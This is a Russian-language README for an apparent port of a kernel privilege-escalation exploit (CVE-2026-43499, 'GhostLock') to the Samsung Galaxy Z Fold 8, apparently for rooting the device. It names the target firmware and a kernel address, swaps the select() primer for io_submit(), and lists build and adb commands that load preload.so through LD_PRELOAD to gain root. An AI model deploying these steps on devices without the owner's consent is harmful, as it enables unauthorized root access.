
# GhostLock CVE-2026-43499 порт для Galaxy Z Fold 8 (h8q)
Большая часть этого кода основана на форке @polygraphene от оригинала.
Потребовались серьёзные модификации, поскольку основной праймер (select()), используемый в большинстве опубликованных вариантов эксплойта, некорректно выравнивается со структурой rt_mutex_waiter на этих Samsung-устройствах с ядром 6.12. Вместо него используется io_submit().
Работает: h8q-F971USQU1AZFW (SM-F971U, P0=0xc7800000). Сборка: make PROJECT=h8q-F971USQU1AZFW.
git clone (этот репозиторий)
cd (этот репозиторий)
export ANDROID_NDK_ROOT=(путь к вашему NDK)
make
Соберите ksud + kernelsu.ko, используя это дерево от polygraphene и следуя этой инструкции. Это дерево содержит патч от BuSung-dev/Root-My-Galaxy и адаптацию для 6.12.
$ adb install /path/to/KernelSu_Manager.apk
$ adb push build/preload.so /data/local/tmp/
$ adb push $KERNELSU/target/aarch64-linux-android/release/ksud /data/local/tmp/
$ adb shell env LD_PRELOAD=/data/local/tmp/preload.so sh -c 'echo PWND'
io_submit для q8q